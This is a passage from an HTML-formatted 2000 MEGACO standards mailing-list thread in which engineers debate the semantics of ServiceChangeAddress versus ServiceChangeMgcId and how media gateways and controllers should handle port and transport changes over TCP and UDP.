  source address it wants to use.&nbsp; Beyond this, the MGC knows that the MG
  is ready because it has established its new connection or (for UDP) simply
  because the MG wouldn't have asked for the change if it wasn't ready to handle
  it.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=380333814-07092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=380333814-07092000>Now
  consider the case where the MGC has sent the MG a ServiceChangeAddress.&nbsp;
  Here it is telling the MG where to send new requests.&nbsp; The MG is
  responsible for setting up the transport connection, and knows when it can
  start sending as a result.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=380333814-07092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=380333814-07092000>You
  never have a situation where one end has to wait for the other to set up a
  transport connection before it can send messages.</SPAN></FONT></DIV>
  <BLOCKQUOTE
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
    size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
    [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Thursday, September 07,
    2000 9:11 AM<BR><B>To:</B> 'Bharat Kaul'; Taylor, Tom-PT [NORSE:B901:EXCH];
    'Flemming Andreasen'<BR><B>Cc:</B>
    megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
    port on a ServiceChangeAddress<BR><BR></DIV></FONT>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>I'm still stuck on how you expect this to work if
    you don't abandon the current</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>control association and start a new one.&nbsp;
    Whether you change addresses,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>or
    even if you change ports, the MGC has to wait until the new transport
    is</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>established, and then send the first message on the
    transport established by</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>the MG.&nbsp; This is unlike any mechanism I know
    of.&nbsp; In all cases that I've seen,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>the first message on a new port/address comes from
    the entity establishing</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>the transport.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>For UDP it's not all that hard EXCEPT that you have
    no idea when to send a</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>message - how do you know that the MG is listening
    on the port?&nbsp; You asked him</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>to
    change, and you get no packets telling you&nbsp; he did
    it.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>For TCP it's at least possible if you get into the
    TCP machinery, because you can</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>see the TCP connection state on the new port being
    established.&nbsp; However, the</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>MGC has to watch this, and after it's established,
    then send it's first message,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>again before it gets any messages from the
    MG.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>The other way, using ServiceChangeMgcId, you reply
    with the new port,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>clear your state, and sit back.&nbsp; You will get
    a new ServiceChange on the correct</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>port.&nbsp; Much easier.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=360400313-07092000>Brian</SPAN></FONT></DIV>
    <BLOCKQUOTE
    style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
      <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
      size=2>-----Original Message-----<BR><B>From:</B> Bharat Kaul
      [mailto:bharat@trillium.com]<BR><B>Sent:</B> Wednesday, September 06, 2000
      6:34 PM<BR><B>To:</B> Rosen, Brian; 'Tom-PT Taylor'; 'Flemming Andreasen';
      Bharat Kaul<BR><B>Cc:</B>
      megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only
      a port on a ServiceChangeAddress<BR><BR></DIV></FONT>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000>I also agree with what seems to be the evolving
      consensus.&nbsp;&nbsp;</SPAN></FONT></DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000>However, we might to have evaluate the choice of
      IP Address being present as part of ServiceChangeAddress more carefully
      before disallowing it. </SPAN></FONT></DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000>The case in point being an entity wanting to
      redirect the conversation on a particular interface and a port or current
      interface and a particular port. For first case, we need to allow presence
      of IP Address. For second case, we are fine with port. So effectively, it
      boils down to using ServiceChangeMgcId.</SPAN></FONT></DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000>It might be&nbsp; a requirement
      that&nbsp;MG&nbsp; receiving&nbsp;the parameter&nbsp; knows exactly that
      it has been asked to communicate on other interface with the same&nbsp;MGC
      and hasn't been redirected to a altogether new MGC otherwise the MG might
      interpret them as two separate entities which is not a correct
      picture.</SPAN></FONT></DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000>Any comments on&nbsp; this ?</SPAN></FONT></DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000>- Bharat</SPAN></FONT></DIV>
      <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
      class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
      <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
        <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
        size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
        [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Wednesday, September
        06, 2000 11:12 AM<BR><B>To:</B> 'Tom-PT Taylor'; 'Flemming Andreasen';
        Bharat Kaul<BR><B>Cc:</B>
        megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying
        only a port on a ServiceChangeAddress<BR><BR></DIV></FONT>
        <BLOCKQUOTE
        style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
          <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
          size=2></DIV></FONT>
          <P><FONT size=2>OK, I'd say we have consensus on the following:</FONT>
          </P>
          <P><FONT size=2>(1) As oft repeated, the mId designates a peer in a
          control session.&nbsp; It does not change even if the addresses used
          in the session change.&nbsp; Different port addresses could be used to
          designate different virtual MGs, but this is a local implementation
          issue.<FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>I'm assuming here&nbsp;that you mean mId, the
          thing that goes in every message, and that&nbsp;there is no arbitrary
          changing of it - changes get signalled in
          ServiceChange.&nbsp;&nbsp;mId serves to identify which association
          this message refers to.&nbsp; Given those
          caveats</SPAN></FONT></FONT><FONT size=2><FONT color=#0000ff
          face=Arial><SPAN class=730190518-06092000>, I
          agree.&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2>(2) ServiceChangeAddress can be used to change the
          address to which the peer sends requests within the existing control
          session.&nbsp; The ABNF syntax of ServiceChangeAddress is VALUE, which
          permits designation of a port only within a quoted string.&nbsp; The
          difference between this and the ASN.1 syntax is what started this
          whole thread, but is irrelevant because the functionality is still
          available.&nbsp; There is the legitimate question of whether the
          ServiceChangeAddress functionality is needed.&nbsp; I'm not sure I
          have consensus to deprecate use of ServiceChangeAddress.<FONT
          color=#0000ff face=Arial><SPAN
          class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>I'd like to see if we could develop a
          consensus, but I can live with it.</SPAN></FONT></FONT></P>
          <P><FONT color=#0000ff face=Arial size=2><SPAN
          class=730190518-06092000>I'm still concerned about the difficulty of
          changing address, or port, with TCP transport.&nbsp; We need at least
          a note of caution in the Implementers Guide.</SPAN></FONT></P>
          <P><FONT size=2>(3) ServiceChangeMGgcId is used to redirect the
          control session.&nbsp; The ABNF type of ServiceChangeMgcId is MId,
          which presumably is why MId is so carefully developed as an
          address.<FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>Yes!&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2>There is an open issue regarding TCP.&nbsp; That is,
          is everyone prepared to accept the restriction Bharat wants to place
          on TCP, to the effect that the MG is never a listener?<FONT
          color=#0000ff face=Arial><SPAN
          class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>Yes!</SPAN></FONT></FONT></P>
          <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
          class=730190518-06092000>Brian&nbsp;</SPAN></FONT></FONT></P>
          <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT
          size=2>&gt; From: Flemming Andreasen [<A
          href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
          <BR><FONT size=2>&gt; Sent: Wednesday, September 06, 2000 10:39
          AM</FONT> <BR><FONT size=2>&gt; To: Rosen, Brian; Taylor, Tom-PT
          [NORSE:B901:EXCH]; Bharat Kaul</FONT> <BR><FONT size=2>&gt; Cc:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
          Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
          <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT
          size=2>&gt; So do we have any consensus resolution on this issue
          ?</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --
          Flemming</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
          "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
          size=2>&gt; &gt; Yeah, the mId started life as the thing in the header
          that let an</FONT> <BR><FONT size=2>&gt; &gt; MGC know which entity it
          was talking to.&nbsp; It's always been an</FONT> <BR><FONT size=2>&gt;
          &gt; address though - desirable as an FQDN and acceptable to be a
          hard</FONT> <BR><FONT size=2>&gt; &gt; address.</FONT> <BR><FONT
          size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; The intention of
          ServiceChangeMid was to be the referral </FONT><BR><FONT size=2>&gt;
          address for an</FONT> <BR><FONT size=2>&gt; &gt; association that was
          not acceptable to the MGC.&nbsp; </FONT><BR><FONT size=2>&gt;
          ServiceChangeAddress used</FONT> <BR><FONT size=2>&gt; &gt; to be
          port, and it was just for changing port numbers, not </FONT><BR><FONT
          size=2>&gt; addresses.&nbsp; We</FONT> <BR><FONT size=2>&gt; &gt; went
          downhill (IMO) from there.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; I'm with Flemming, one thing is all we
          need, but we are </FONT><BR><FONT size=2>&gt; stuck with 2 for</FONT>
          <BR><FONT size=2>&gt; &gt; now.</FONT> <BR><FONT size=2>&gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; Brian</FONT> <BR><FONT
          size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; -----Original
          Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; From: Tom-PT
          Taylor [<A
          href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</A>]</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:16
          PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; To:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; Subject: Re: Supplying only a port on a
          ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          I think we agree that MId is just an identifier of a peer
          </FONT><BR><FONT size=2>&gt; in a control</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; session.&nbsp; I still ask myself why we defined it to be
          an</FONT> <BR><FONT size=2>&gt; &gt; &gt; address rather than</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; an arbitrary string.&nbsp; I suspect
          we changed intentions since</FONT> <BR><FONT size=2>&gt; &gt; &gt; it
          first showed</FONT> <BR><FONT size=2>&gt; &gt; &gt; up.</FONT>
          <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; From: Flemming Andreasen [<A
          href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000
          3:12 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; To:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; Subject: Re: Supplying only a port on a
          ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; Bharat Kaul wrote:</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; Hi Flemming, Brian and List,</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt;&nbsp;&nbsp; ServiceChangeMGCId should be kept for contacting a
          new</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MGC or rather</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; establishing new control
          Session.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; ServiceChangeAddress is for
          redirection within a MGC e.g.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; MG contacts MGC at</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; a default port and based on some policy MGC wants to
          assign</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MG to a
          specific</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; port, it
          should send ServiceChangeAddress specifying the</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; port.These two</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; semantics seem clear and fair enough.</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; I quite frankly don't understand the need for having port
          as</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; an identifier
          and</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; then being able to
          specify another port to override it, while</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; keeping the</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; identifier port the same.</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          Port in MID should be just a tool to identify an entity</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; uniquely, with one</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; requirement that MID for a
          control session is consistent</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          between two</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          entities.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; In that case it should be called something
          different than a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port, or
          at least be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; treated as
          something different.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; - Bharat</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; From: Flemming Andreasen [<A
          href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Sent: Tuesday, September 05,
          2000 8:29 AM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; To:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; Subject: Re: Supplying only a port on a
          ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Let's take a
          step back here and ask ourselves what we are</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; trying to achieve:</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; 1. We have a need to identify the entity we wish to</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; communicate with</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; 2. We have a need to communicate with
          that entity.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; This is a classical naming
          issue that doesn't need to</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          become overly</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          complicated. In order to get from the name in 1 to the</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; address (or route) in</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 2, you need to perform name
          resolution in the cases where</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; the name itself is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; not an address. For domain names, this name resolution is</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; achieved by DNS,</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; for IP-addresses, it should normally
          be a NOP. By having both</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; ServiceChangeMGGId and ServiceChangeAddress, you are</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; effectively providing</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; an alternate name resolution
          mechanism which overrides DNS</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; and allows one</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          IP-address to map to another. We should not be doing that,</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; and I also note</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; that this was probably not the
          authors' intent, since</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          and ServiceChangeMGCId are not both allowed in a </FONT><BR><FONT
          size=2>&gt; single command.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; That still
          leaves open the question of exactly what</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; then is, and I believe Brian answered that earlier with
          his</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; two proposals.</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; In a perfect world, I would
          prefer getting rid of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          ServiceChangeAddress, but</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; we may be beyond that. Does it make sense to allow just a</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; port number then ?</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Considering that we already
          allow for port in mId, port is</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; part of the name</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          and for the same reasons as we shouldn't map one IP-address</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; to another, we</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; shouldn't map one port to another
          either IMO. If the MGC</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; (or
          MG) wants the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; other
          party to talk to it on another port, it simply sends</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; back another</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; ServiceChangeMGCId with that port number in
          it.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt; "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
          &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; It
          depends on what you want to have happen.</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
          &gt; &gt; If you want the MG, on receipt of a reply with a</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress,</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; to tear down it's
          current transport connection, create</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; a new one,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          and stand by for messages from the MGC, then I suppose</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; you would be</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; correct.</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; If it was TCP (and I guess SCTP), this is pretty
          weird,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; because the</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; MG established a full
          duplex connection, but the </FONT><BR><FONT size=2>&gt; next message
          is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; almost
          certainly from the MGC.&nbsp; The MGC is going to have</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; to watch for</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; this carefully, and not send
          messages until the new</FONT> <BR><FONT size=2>&gt; &gt; &gt; channel
          is up.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; Or, the MGC can just
          use ServiceChangeMid.&nbsp; The MG will</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; respond by</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; tearing down the transport, establishing a new one,
          </FONT><BR><FONT size=2>&gt; and sending</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; a new ServiceChange.&nbsp; The MGC "fires and
          forgets" -- the new</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt; ServiceChange, at the "new" address, looks like a</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; complete new start.</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; From: Christian Groves</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; To:
          MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; Sent: 9/3/00 7:38 PM</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port on a
          ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; G'Day Brian
          and Flemming,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; I saw that
          the difference between when you use</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; ServiceChangeAddress and</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; &gt; &gt; ServiceChangeMid was that the ServiceChangeAddress
          was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; used when
          talking</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; to an
          already contacted physical MGC. The</FONT> <BR><FONT size=2>&gt; &gt;
          &gt; &gt; ServiceChangeMid was used to</FONT> <BR><FONT size=2>&gt;
          &gt; &gt; &gt; &gt; &gt; contact a physically seperate MGC. So I don't
          see </FONT><BR><FONT size=2>&gt; the need of</FONT> <BR><FONT
          size=2>&gt; &gt; &gt; &gt; &gt; &gt; disallowing anything but the port
          in IP as the MGC may</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have
          a range of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          addresses.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; Cheers,
          Christian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
          <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
          wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
          &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I
          thought you might say that, I've been thinking about it</FONT>
